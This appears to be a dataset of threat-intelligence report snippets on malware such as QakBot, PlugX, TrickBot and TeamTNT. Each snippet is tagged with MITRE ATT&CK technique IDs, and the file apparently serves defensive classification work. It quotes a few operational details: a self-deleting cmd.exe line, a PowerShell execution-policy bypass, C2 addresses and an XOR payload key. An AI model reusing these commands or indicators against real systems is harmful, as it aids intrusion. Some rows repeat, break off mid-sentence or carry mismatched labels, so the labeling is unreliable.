+1) Send initial proxy module request. The initial request contains the bot ID, external IP address of the infected machine, reverse DNS lookup of the external IP address, internet speed (measured earlier) and seconds since the proxy module started. 2) Establish a connection (proxy commands sequence 1->10->11) with the PROXY-C2. 3) Initialize sessions, perform socks5 authorization with login/password (received from PROXY-C2 with command 10). 4) Begin SOCKS5-like communication wrapped into the QakBot proxy module protocol	['T1090.002']
+A technical relevant fact about this campaign is the use of Python embedded into Windows executables of the malware. There is no multi-platform support as the code is heavily Windows-oriented (use of libraries). However, we discovered several clues that the attackers prepared the infrastructure for Mac OS X and Unix victims as well. In addition to Windows components, we also found a mobile (Android) component	['T1053.005', 'T1059.006']
+The second version does not carry the payload directly but instead downloads it from a C2 into the same location as before. The C2 server address is embedded in the main executable in the TinkaOTP bundle. The hardcoded download and execution code are easily visible as they are unencrypted, plain UTF strings in the binary	['T1105']
+Guloader is a downloader that has been active since 2019. It is known to deliver various malware, more notably: Agent-Tesla, Netwire, FormBook, Nanocore, and Parallax RAT	['T1102']
+All of the backdoors identified ��� excluding RoyalDNS – required APT15 to create batch scripts in order to install its persistence mechanism. This was achieved through the use of a simple Windows run key	['T1059.003']
+Once communication with the C2 server has been established, QakBot is known to download and use additional modules in order to perform its malicious operations	['T1095', 'T1105']
+This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig	['T1574.002']
+One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading - One malicious DLL loaded by the legitimate file - One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL	['T1574.002', 'T1574.002', 'T1574.002']
+The `Download3rdStage` will first decode `https://discord.com` and try to connect to it. Then, it performs a time-based anti-debug check, as shown in the code below. If any of these checks fail, the DLL will not download the third stage	['T1497.003']
+Learn more about our Personal Data Protection PolicyAccept Cookies . DeepMalwareAnalysis . Joe Security's Blog . TrickBot's new API-Hammering explained . Published on: 13.07.2020 As usual, at Joe Security, we keep a close eye on evasive malware. It turned out to be a new TrickBot sample using API hammering to bypass analysis. Two Stage API Hammering . Right after the entry point, the sample tries to load taskmgr.exe as a DLL: This is likely a trick to bypass emulators that do not check if a given DLL exists if LoadLibraryEx is called. Since before the loop FreeConsole has been called all printf calls do basically nothing: This code has been directly copied from the documentation of printf: So what is the purpose of those numerous printf loops. As a result, the massive amount of calls delay the execution process and overload the sandbox with junk data. This behavior is called API Hammering. API Hammering is not a new technique, we have already seen it several years ago e.g. Joe Sandbox detects the API hammering successfully and rates it as malicious: Right after the printf flood, the sample performs another loop to delay execution by creating and writing to a temporary file - the second stage. In between it performs random sleeps: Again, the purpose is to overload the sandbox and delay the execution. No matter what technology your favorite sandbox uses, it has to handle API Hammering correctly	['T1106']
+When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows	['T1106']
+Inception’s malware is modular and the attackers will load plugins based on requirements for each attack. The group has used a range of plugins in recent attacks, some of which are improved versions of plugins used in 2014, while others were previously unseen	['T1057']
+When running under a limited UAC account, the installer extracts d3d9.dll and creates a persistence key under HKCU\Software\Microsoft\Windows\Run	['T1547.001']
+The process begins with the consistent execution of a malicious DLL using the legitimate regsvr32.exe Windows Utility. Once executed, the DLL is deleted from the system and its components are dropped to the system	['T1218.010']
+Following the initial compromise, in many instances the BackdoorDiplomacy group employed open-source reconnaissance and red-team tools to evaluate the environment for additional targets of opportunity and lateral movement. Among the tools documented are	['T1105', 'T1588.002']
+Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document. If it is not able to connect to the address, it uses a hardcoded one	['T1565.002']
+Hildegard uses LD_PRELOAD to hide the malicious process launched inside the containers. The malware modified the /etc/ld.so.preload file to intercept shared libraries’ imported functions	['T1574.006']
+The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy. Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries	['T1087.002', 'T1482']
+Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. It then redirects the user to install a “Font Manager” extension from the Chrome Web Store, as seen in Figure 2. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site. They spent significant time and resources doing reconnaissance on their targets, as evidenced by the comments left on the Chrome extension page	['T1176']
+After the payload execution it reaches out to the C2 via POST request as shown below	['T1071.001']
+All RDAT samples have malicious verdicts in WildFire and have protections in place through Cortex XDR. DNS tunneling protocols used for C2 communications are blocked via DNS Security. All C2 domains are classified as Command-and-Control for URL Filtering. AutoFocus customers can monitor activity via the rdat_backdoor tag	['T1132.002', 'T1132.001']
+Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. In addition the blog also mentioned that a host of other large corporations were also targets of this same attack. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. Download a remote file, save it as %Temp%\mdm.exe, and then execute it. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. Prevention & Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. The attacker can exploit this issue by supplying a malicious Flash ('.swf') file or by embedding a malicious Flash application in a PDF file	['T1105']
+We mentioned earlier that docx files (like xlsx and pptx) are part of the OOXML standard. The document defining this standard[6], describes the syntax and values that can be used as an example. An interesting file to look at is the ‘settings.xml’ file that can be discovered in the ‘Word’ container of the docx zip file. This file contains settings with regards to language, markup and more. First, we extracted all the data from the settings.xml files and started to compare. All the documents below contained the same language values	['T1221']
+"FireEye has dubbed the cybercrime gang FIN5. One of the most unique things about FIN5 is that in every intrusion we responded to where FIN5 has been active, legitimate access was identified. They had valid user credentials to remotely log into the network,"" said Barry Vengerik, principal threat analyst at FireEye. No sexy zero-days, no remote exploits -- not even spearphishing"	['T1110']
+It looks like GrowlHelper creates an executable named Software Update Check when it thinks it’s online. I was pretty excited when I first found this, but quickly realized it just drops a copy of itself with a different name	['T1036.004']
+FireEye assesses APT33 may be behind a series of intrusions and attempted intrusions within the engineering industry. FireEye's Managed Defense has responded to and contained numerous intrusions that we assess are related. The actor is leveraging publicly available tools in early phases of the intrusion; however, we have observed them transition to custom implants in later stage activity in an attempt to circumvent our detection	['T1555', 'T1003.001', 'T1552.001', 'T1003.005', 'T1555.003', 'T1552.006', 'T1003.004', 'T1588.002']
+PowerPunch also provides an excellent example of this. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity	['T1105']
+The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. This technique has been documented in the MITRE ATT&CK knowledge base as CMSTP; an example of how this technique is used may be found here. This technique has been used in the past by Cobalt, another financially motivated group. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe	['T1059.007']
+cmd.exe /C choice /C Y /N /D Y /T 2 & Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. hex(STDOUT of whoami command)> If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2	['T1105']
+In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Additional means of circumventing anti-virus tools include the use of exploits to increase the level of rights and privileges, bypassing UAC, and injecting code into trusted processes. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1068']
+The dropped payload is a DLL file that has been packed using the UPX packer. The unpacked sample is highly obfuscated and important API calls and strings have been encrypted using a custom encryption algorithm. Whenever in the code the malware needs to use a string, it takes the encrypted string and passes it into two functions to decrypt it	['T1027.002']
+This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim’s system regardless whether macros are enabled	['T1559.002']
+POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. POWERTON is designed to support multiple persistence mechanisms, including WMI and auto-run registry key. POWERTON typically gets deployed as a later stage backdoor and is obfuscated several layers	['T1547.001']
+A batch file that is used to run Bitsadmin and Rundll to download and execute the Egregor payload. A Zip file contains a binary file that is an RClone client, renamed svchost, and RClone config files (webdav, ftp and dropbox) used later for exfiltration	['T1059.003']
+The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor. The PowerShell backdoor has the following capabilities	['T1049', 'T1518', 'T1027']
+The archive contains two files; the first is an executable file, while the second is a decoy PDF document. The bear’s lair . The Stage-1 downloader will download and execute a new downloader, written in C++, not so different from other Zebrocy downloaders. How the bear hunts . In this section we describe in more detail the commands performed manually by the operators through their Delphi backdoor. As we did not identify a pattern in the order which the commands are invoked, we believe the operators are executing them manually. The first set of commands gathers information about the victim’s computer and environment: The commands above are commonly executed when the operators first connect to a newly activated backdoor. Moreover, the backdoor contains a list of filenames related to credentials from software listed below (database names): The operators take care of retrieving these databases if they are present on the victim’s computer. The operators retrieve these files on the machine using the DOWNLOAD_LIST command. This command can be used when the operators are aware of the presence of interesting files on the computer. This backdoor is executed using the CMD_EXECUTE command: There are some interesting facts here. The first set of commands is the same and executed during a very short timeframe, which raises another question: is it automated	['T1083']
+The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user’s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network	['T1105']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems	['T1547.001']
+This structure parses out executable scripts from data provided via a remote operator. In this case, the REGEX value indicates this implant will receive scripts compressed (tar files). The malware will then decompress them before executing the embedded script. Analysis indicates the WellMail implant is similar in design and structure to the WellMess implant -- and both accept and execute shell scripts from a remote operator	['T1105']
+Narrow attacks targeted the Automotive industry among others, while the large malicious spam campaigns appear to be associated with threat actor TA505, an actor responsible for many large-scale attacks since at least 2014	['T1204.002']
+We have discovered that malware dubbed WinDealer, spread by Chinese-speaking APT actor LuoYu, has an ability to perform intrusions through a man-on-the-side attack	['T1204.001', 'T1566.002', 'T1566.001', 'T1566.002', 'T1120']
+Finally, the malware changes the password of the local users. In the files analyzed, all the passwords chosen by the actor have the same pattern: Aa153	['T1531']
+The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2	['T1041', 'T1573.001']
+In response to historical disclosures detailing TA416 PlugX malware infection and encoding methods, the group appears to have adopted a rapid rate of development for their PlugX payloads. The group uses different legitimate PE files to initiate sideloading, as well as a variety of PlugX DLL loaders including the PotPlayer and DocCon versions noted in this publication. TA416 also uses different variants of the final PlugX payload in which the communication routines are observed to be different when closely analyzed. Additionally, the payload DAT file decryption method has evolved regularly since the beginning of 2022. Several observed decryption schemas and a sample configuration are included below with date ranges detailing the evolution of observed PlugX payloads	['T1027']
+Usually, after infection the bot sends a ‘PING’ message, ‘SYSTEM INFO’ message and ‘ASK for COMMAND’ message, and the C2 replies with ‘ACK’ and ‘COMMAND’ messages. If additional modules were pushed by the C2, the bot sends a ‘STOLEN INFO’ message containing data stolen by the modules	['T1041']
+The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware. The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions	['T1106']
+Pillowmint is usually installed through a malicious shim database which allows the malware to persist in the system	['T1546.011']
+1) An application is bundled with virtualization software, a Linux image and additional files used to achieve persistence. 2) User downloads the application and follows attached instructions on how to install it. 3) LoudMiner is installed first, the actual VST software after. 4) LoudMiner hides itself and becomes persistent on reboot. 5) The Linux virtual machine is launched and the mining starts. 6) Scripts inside the virtual machine can contact the C&C server to update the miner (configuration and binaries	['T1569.002', 'T1218.007']
+Once on the network, the attackers engaged in network reconnaissance and retrieved a list of trusted domains and a list of domain controllers with the following commands	['T1482']
+When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR . it website and replacing the WinRAR installation executable with an instance of the malware. The SWC resulted in the infection of unsuspecting WinRAR customers' systems. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers. The diversity and complexity of delivery mechanisms employed by the REvil threat actors in a short period of time suggest a high level of sophistication	['T1189']
+ZxShell.dll is injected in a shared SVCHOST process. The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service	['T1055.001']
+MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks	['T1614.001', 'T1082']
+DriveSlayer is digitally signed using a valid certificate and also abuses a legitimate EaseUS Partition Master driver to gain raw disk access and manipulate the disk to make the system inoperable	['T1553.002']
+"Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. This is then written to a file named ""ldb_e.log"" in Windows System directory"	['T1106']
+Along with the EDRPOU numbers, the backdoor collects proxy and email settings, including usernames and passwords, from the M.E.Doc application	['T1087.003']
+Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations	['T1588.002']
+Once the Bazar loader downloads its payload, the Bazar backdoor, it is decrypted using the same method as the aforementioned Team9 variant	['T1104']
+For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying	['T1589.001']
+Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. At the time of writing, tmate sessions are the only way the attacker interacts with the compromised containers	['T1219', 'T1219']
+After loading its configuration data, GoldMax checks the current date-time value of the compromised system against the activation date from the configuration data	['T1016', 'T1497.003', 'T1124']
+Once the VBScript in XSL has been run, console commands launched by the JS code continue to be executed. Three files are copied into the folder OFFICE12 that was created in the user profile. Those files are	['T1220']
+POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor. POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI. Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory. The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult. Every aspect of POSHSPY is efficient and covert	['T1059.001']
+The attack typically begins with an attempt – most probably via a spearphishing email – to lure the intended victim into running the malicious dropper, which is attached to the email. In order to increase the likelihood that the unsuspecting victim will actually click on it, the malicious executable masquerades as a document or spreadsheet by displaying a fake icon	['T1566.001', 'T1204.002']
+From the main function, the malware invokes a function named eiht_get_update. This function attempts to read a remote file (ret.txt) from andrewka6.pythonanywhere.com that contained the address of the remote command and control server. If that failed, the malware would default to using the hard-coded (albeit encrypted) IP address 167.71.237.219. In order to gather information about the infected host, it invokes a function named: ei_get_host_info …which in turn invokes various macOS APIs such as getlogin and gethostname	['T1620']
+It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language	['T1082']
+On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880	['T1566.002']
+Figure 3 outlines the architecture of Crutch version 3. It includes a backdoor that communicates with a hardcoded Dropbox account using the official HTTP API. In some variants, we noticed the presence of recovery C&C channels using either GitHub or a regular domain	['T1071.001']
+Loader Trojan The payload dropped to the system by the macro is an executable that is responsible for installing and executing a dynamic link library (DLL) to the system. The loader has several coding features that make it interesting. Upon execution, the loader will decrypt the embedded payload (DLL) using a custom algorithm followed by decompressing it using the RtlDecompressBuffer API. This API is normally used for Windows drivers, but there is nothing to prevent a userland process from using it, and the parameters are documented on MSDN. The compression algorithm used is LZNT1 with maximum compression level. The payload is decrypted using a starting 10-byte XOR key of: 0x3950BE2CD37B2C7CCBF8. The payload is in the loader at file offset: 0x19880 - 0x1F23C size of 0x59BD. The payload can be decrypted and decompressed with the following Python script	['T1027']
+"After analyzing the final payload, we determined the winner was… a Remote Administration Tool, which we have named ROKRAT. The address used in the email was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum where the slogan in 2016 was ""Peace and Unification of the Korean Peninsula"". This fact gives more credit and legitimacy to the email. This file is decoded and finally an executable is launched: ROKRAT. This RAT has the added complexity that the command and control servers are legitimate websites. The malware uses Twitter and two cloud platforms, Yandex and Mediafire, apparently for both C2 communications and exfiltration platforms. Unfortunately, these platforms are difficult to block globally within organizations as their use can be viewed as legitimate in most cases. Additionally, these 3 platforms all make use of HTTPS connectivity, making it much more difficult to identify specific patterns or the usage of specific tokens"	['T1102.002']
+Skip to main content . We use optional cookies to improve your experience on our websites, such as through social media connections, and to display personalized advertising based on your online activity. If you reject optional cookies, only cookies necessary to provide you the services will be used. Using reg to configure the registry of remote computers limits the parameters that you can use in some operations. Check the syntax and parameters for each operation to verify that they can be used on remote computers . In this article	['T1112', 'T1012']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1140']
+All the network parameters are stored in the sample and can be easily updated by the author. The CnC is a web server: http://camilleoconnell[.]website The network communication is performed in HTTP. The malware uses an hardcoded User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) To register a new infected system the malware perform a POST request to /api/white_walkers/new with data on the compromised system consisting of	['T1071.001']
+The SodomMain module is LookBack malware’s remote access Trojan module that can send and receive numerous commands indicative of its function as a RAT. The malware is delivered within the encoded data that is received by the SodomNormal module as part of its initial beacon response. It then runs within the SodomNormal module and uses its “send_data” function for C&C communications	['T1574.002']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Screen Capture Tool usage. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Install a background monitor tool (e.g	['T1113']
+"The shellcode then creates a string that it uses to create a registry key to automatically run the final payload each time the system starts. It then opens the registry key 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon' and sets the value to the ""Shell"" subkey to the previously created string. Ultimately, the following registry key is created for persistence"	['T1547.014', 'T1547.004']
+We at Team Nautilus detected and analyzed the Docker Hub account hildeteamtnt, which was used by TeamTNT to store their malicious images. Also, ‘minerescape’ contained a shell script executing a Python file - minedaemon.py. Using a web service (iplogger[.]org) to transmit collected data to the attacker during the discovery process, for instance, the number of cores in the CPU, its speed, system details (using uname -a), and targeted host IP address. Logging the activity and encoding it into files (using Base64). The script sbs.sh: - Downloading 00.jpg (as /usr/bin/dns_ipv4.tar.gz) which is the file /usr/bin/bioset. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). The father is responsible for deciphering messages and writing it back to the child on the PIPE. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). - The father is responsible for deciphering messages and writing it back to the child on the PIPE. Logging the activity and encoding it into files (using Base64). - Defense Evasion: Deleting command history. Logging the activity and encoding it into files (using Base64). Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Logging the activity and encoding it into files (using Base64). - Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Encoding many snippets with base64 (the same snippet may be encoded multiple times). To sum it up . Over four months, TeamTNT uploaded various images, with some being used to perform attacks in the wild	['T1027']
+In September 2017, Proofpoint researchers detailed the history and ongoing activities of an actor we track as TA505. TA505 was behind many of the Dridex campaigns that plagued organizations in 2015 and introduced Locky ransomware in 2016, bringing unprecedented scale to malicious spam distribution. Since we wrote our original TA505 profile, the actor has continued to explore the use of new malicious attachments and new payloads. In 2018, though, the scale and regularity of their campaigns decreased, while the diversity of payloads has increased. Given the importance of this actor in the email threat landscape we wanted to revisit our profile and update it with the latest activity from TA505	['T1566.001']
+Remember, Downadup/Conficker spread so widely because so many computers simply did not have a simple security patch, released months before the infections ever started, applied. Weafer ). - Use a robust security software suite that has multiple layers of protection. Even patched systems are continuing to become infected with the .A and .B variants. In many instances, this is occurring because the worm is being passed on via infected removable media, such as USB thumb drives, that are essentially acting as host carriers. Need to Know) - Use caution when opening attachments and accepting file transfers. Use caution when clicking on links to Web pages. Use strong passwords	['T1091']
+FIN6 used encoded PowerShell commands to install Cobalt Strike on compromised systems. The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell. In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com	['T1102', 'T1569.002']
+At this point, the script establishes an HTTP connection to the C2 server. If the server response is comprised only of the same GUID that the malware sent, the script deletes itself. In the case of the second-stage script from Variant A, the script deletes the registry key where it is installed. In the case of Variant C, the script deletes the file from which it is running. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file	['T1070.004', 'T1070']
+Since the original publication of this approach, Proofpoint researchers have observed a number of actors -- “early adopters” -- abusing this file format by embedding it inside Microsoft Word and PDF documents. While the combination of the technique with the Microsoft Word container was described in the initial research, embedding inside PDFs has not been documented and likely originated with another source	['T1204.001', 'T1204.002']
+"Then extract the image file ""image1.jpeg"" contained in the document. Find the special logo in the picture data, decode the subsequent steganographic PE data, release the randomly named .exe in the %ALLUSERSPROFILE% directory and run it"	['T1027.003']
+Enables remote login - Enables screen sharing - Configures remote login permissions for the user - Allows remote login to all - Enables a hidden “root” account in macOS and sets the password specified in the Trojan code	['T1569.001']
+The persistence is done during the first execution of the malware using a well-known technique, the “Logon scripts”. It creates a script file registration.bat and writes several strings from the TForm1 object. The final script is	['T1037.001']
+The backdoor starts by collecting basic information about the victim’s machine and calculating a 4-byte long victim identifier, based on the user-name, computer-name and the domain name of the target environment	['T1082']
+To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. The container is configured to mount the file system of the container to the filesystem of the victim server, thus gaining the attackers access to all files on the server. The initial command given to the container is to download and execute several cryptominers	['T1611']
+Watering holes - Weaponized documents exploiting the Dynamic Data Exchange (DDE) method - Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor - Exploitation of the CVE-2019-0604 vulnerability in Sharepoint - Supply chain attack that compromises a chat software installer, Able Desktop - Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server	['T1195.002', 'T1190']
+This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011	['T1105']
+Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module. However, as it is far from stealthy, in the long run it is no match for a capable organization. The variety of tools Gamaredon has at its disposal can be very effective at fingerprinting a machine and understanding what sensitive data is available, then spreading throughout the network	['T1025']
+The communication between the malware and the server is based on the HTTP protocol and slightly varies between the samples. Every few seconds the backdoor sends a POST request to the C&C URL. The result is encrypted and sent back to another URL on the server as the parameter of a POST request	['T1071.001']
+Check for blocklisted usernames and computernames: The implant concatenates the username and computer it acquires from the infected endpoint's environment variables. This string is then checked against a list of blocklisted values to determine if the implant should continue execution or exit out. Check for blocklisted process names: The following process names are blocklisted and if found running on the system, the RAT implant will simply exit. The blocklist consists of processes belonging to Virtual Machine software (such as VMWare) and analysis tools (such as ProcessHacker etc	['T1033', 'T1057', 'T1082', 'T1497.001']
+It also creates a unique system specific identifier that it will use during the C2 communications to send and receive messages. The system specific identifier is a 16 character string that the Trojan creates using the serial number of the C volume and the first 4 hexadecimal bytes from Environment.UserName	['T1071.003']
